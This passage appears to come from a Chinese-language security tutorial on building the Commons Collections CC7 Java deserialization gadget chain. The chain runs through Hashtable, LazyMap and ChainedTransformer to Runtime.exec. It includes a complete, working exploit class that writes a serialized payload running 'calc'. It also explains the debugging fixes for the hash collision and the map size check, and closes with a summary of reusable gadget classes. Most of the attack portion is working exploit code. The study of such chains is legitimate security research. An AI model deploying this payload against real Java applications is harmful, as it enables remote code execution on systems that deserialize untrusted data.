Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
serialize(hashtable);
unserialize("ser.bin");
运行后发现,还没有就行反序列化,命令执行就触发了,原来是在hashtable.put(lazyMap2, 1);
的时候刚好触发了put方法里面的equals
方法,然后就没有往下执行了
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}
// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
addEntry(hash, key, value, index);
return null;
}
解决这个问题和CC6一样,先构造transformers
链的时候先给一个无意义的链,让程序先执行,然后再通过反射修改回来
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
serialize(hashtable);
unserialize("ser.bin");
然后执行不成功,调试发现是因为m.size() != size()
为true,
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
原因是反序列化前,运行到LazyMap的get()方法中,执行完transform
往下,map.put(key, value)
这里给map添加了键值对使得size变大了
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
经过调试发现key是”yy”,所以要删除掉
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
利用链如下
graph TB A("java.util.Hashtable#\nreadObject()")--> B("java.util.Hashtable#\nreconstitutionPut()")--> C("java.util.AbstractMap#\nequals()")--> D("org.apache.commons.collections.map.LazyMap#\nget()")--> E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")--> F("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")--> G("Runtime.getRuntime.exec")
完整代码:
package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class App
{
public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.class),
new InvokerTransformer(
"forName",
new Class[] {String.class},
new Object[] {"java.lang.Runtime"}
),
new InvokerTransformer(
"getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0]}
),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] {String.class},
new String[]{"calc"}
)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
总结
五大反序列化利用基类:
1.AnnotationInvocationHandler:反序列化的时候会循环调用成员变量的get方法,用来和lazyMap配合使用。
2.PriorityQueue:反序列化的时候会调用TransformingComparator中的transformer的transform方法,用来直接和Transformer配合使用。
3.BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数,用来和TiedMapEntry配合使用。(TiedMapEntry的toString函数会再去调自身的getValue)。
4.HashSet:反序列化的时候会去循环调用自身map中的put方法,用来和HashMap配合使用。
5.Hashtable:当里面包含2个及以上的map的时候,回去循环调用map的get方法,用来和LazyMap配合使用。
四大Transformer的transform:
1.ChainedTransformer:循环调用成员变量iTransformers数组中的tranform方法。
2.InvokerTransformer: 通过反射的方法调用传入transform方法中的input对象的方法(方法通过成员变量iMethodName设置,参数通过成员变量iParamTypes设置)
3.ConstantTransformer:返回成员变量iConstant的值。
4.InstantiateTransformer:通过反射的方法返回传入参数input的实例。(构造函数的参数通过成员变量iArgs传入,参数类型通过成员变量iParamTypes传入)
三大Map:
1.LazyMap:通过调用LazyMap的get方法可以触发它的成员变量factory的tranform方法,用来和上一节中的Tranformer配合使用。
2.TiedMapEntry:通过调用TiedMapEntry的getValue方法实现对他的成员变量map的get方法的调用,用来和LazyMap配合使用。
3.HashMap:通过调用HashMap的put方法实现对成员变量hashCode方法的调用,用来和TiedMapEntry配合使用(TiedMapEntry的hashCode函数会再去调自身的getValue)。